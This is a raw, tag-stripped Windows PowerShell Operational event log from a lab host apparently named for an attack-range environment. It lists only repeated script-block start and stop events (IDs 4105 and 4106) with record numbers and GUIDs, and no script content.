410615103150x0671129Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671128Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671127Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671126Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671125Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671124Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671123Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671122Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671121Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671120Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671119Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671118Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671117Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671116Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671115Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671114Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671113Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671112Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671111Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671110Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671109Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671108Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671107Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671106Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671105Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671104Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671103Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671102Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671101Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671100Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671099Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671098Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671097Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671096Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671095Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671094Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671093Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671092Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671091Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671090Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671089Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671088Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671087Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671086Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671085Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671084Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671083Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671082Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671081Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671080Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671079Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671078Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671077Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671076Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671075Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671074Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671073Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671072Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671071Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671070Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671069Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671068Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671067Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671066Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671065Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671064Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671063Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671062Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671061Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671060Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671059Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671058Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671057Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671056Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671055Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671054Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671053Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671052Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671051Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671050Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671049Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671048Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671047Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671046Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671045Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671044Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671043Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671042Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671041Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671040Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671039Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671038Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671037Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671036Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671035Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671034Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671033Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671032Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671031Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671030Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671029Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671028Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671027Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671026Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671025Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671024Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671023Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671022Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671021Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671020Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671019Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671018Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671017Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671016Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671015Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671014Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671013Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671012Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671011Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671010Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671009Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671008Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671007Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671006Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671005Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671004Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671003Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671002Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671001Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671000Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670999Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670998Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670997Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670996Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670995Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670994Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670993Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670992Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670991Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670990Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670989Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670988Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670987Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670986Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670985Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670984Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670983Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670982Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670981Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670980Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670979Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670978Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670977Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670976Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670975Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670974Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670973Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670972Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670971Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670970Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670969Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670968Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670967Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 